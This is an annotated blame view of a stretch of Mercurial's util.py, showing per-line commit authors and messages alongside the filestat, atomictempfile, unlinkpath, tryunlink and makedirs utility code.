1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2339 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2340
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2341 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2342
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2343 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2344 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2345 # if ambiguity between stat of new and old file is
30342 318a24b52eeb spelling: fixes of non-dictionary words Mads Kiilerich <madski@unity3d.com> parents: 30339 diff changeset	2346 # avoided, comparison of size, ctime and mtime is enough
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2347 # to exactly detect change of a file regardless of platform
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2348 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2349 self.stat.st_size == old.stat.st_size
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2350 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2351 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2352 )
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2353 except AttributeError:
32769 b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2354 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2355 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2356 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2357 except AttributeError:
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2358 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2359
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2360 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2361 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2362
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2363 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2364
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2365 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2366 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2367 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2368 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2369 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2370 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2371
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2372 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2373 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2374 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2375
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2376 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2377 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2378
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2379 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2380 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2381 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2382
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2383 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2384 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2385 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2386
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2387 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2388 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2389 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2390 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2391 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2392 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2393 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2394
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2395 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2396 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2397
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2398 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2399
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2400 This skips avoiding ambiguity, if a process doesn't have
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2401 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2402 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2403
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2404 Otherwise, this returns True, as "ambiguity is avoided".
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2405 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2406 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2407 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2408 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2409 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2410 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2411 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2412 # if a process doesn't have appropriate privileges
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2413 return False
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2414 raise
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2415 return True
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2416
29298 82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2417 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2418 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2419
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2420
8778 c5f36402daad use new style classes Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8631 diff changeset	2421 class atomictempfile(object):
17424 e7cfe3587ea4 fix trivial spelling errors Mads Kiilerich <mads@kiilerich.com> parents: 17391 diff changeset	2422 '''writable file object that atomically updates a file
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2423
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2424 All writes will go to a temporary copy of the original file. Call
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2425 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2426 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2427 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2428 writes are discarded.
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2429
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2430 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2431 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2432 or repo.wlock).
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2433 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2434
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2435 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2436 self.__name = name # permanent name
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2437 self._tempname = mktempcopy(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2438 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2439 emptyok=('w' in mode),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2440 createmode=createmode,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2441 enforcewritable=('w' in mode),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2442 )
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2443
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2444 self._fp = posixfile(self._tempname, mode)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2445 self._checkambig = checkambig
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2446
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2447 # delegated methods
29393 50269a4dce61 atomictempfile: add read to the supported file operations Martijn Pieters <mjpieters@fb.com> parents: 29367 diff changeset	2448 self.read = self._fp.read
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2449 self.write = self._fp.write
17237 e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2450 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2451 self.tell = self._fp.tell
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2452 self.fileno = self._fp.fileno
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2453
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2454 def close(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2455 if not self._fp.closed:
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2456 self._fp.close()
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2457 filename = localpath(self.__name)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2458 oldstat = self._checkambig and filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2459 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2460 rename(self._tempname, filename)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2461 newstat = filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2462 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2463 # stat of changed file is ambiguous to original one
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2464 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2465 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2466 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2467 rename(self._tempname, filename)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2468
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2469 def discard(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2470 if not self._fp.closed:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2471 try:
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2472 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2473 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2474 pass
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2475 self._fp.close()
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2476
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2477 def __del__(self):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2478 if safehasattr(self, '_fp'): # constructor actually did something
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2479 self.discard()
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2480
29394 6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2481 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2482 return self
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2483
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2484 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2485 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2486 self.discard()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2487 else:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2488 self.close()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2489
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2490
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2491 def unlinkpath(f, ignoremissing=False, rmdir=True):
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2492 """unlink and remove the directory if it is empty"""
31547 bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2493 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2494 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2495 else:
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2496 unlink(f)
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2497 if rmdir:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2498 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2499 try:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2500 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2501 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2502 pass
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2503
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2504
31546 6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2505 def tryunlink(f):
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2506 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2507 try:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2508 unlink(f)
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2509 except OSError as e:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2510 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2511 raise
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2512
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2513
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2514 def makedirs(name, mode=None, notindexed=False):
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2515 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2516
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2517 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2518 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2519 for "write" mode access.
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2520 """
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2521 try:
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2522 makedir(name, notindexed)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2523 except OSError as err:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2524 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2525 return
15058 81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2526 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2527 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2528 parent = os.path.dirname(os.path.abspath(name))
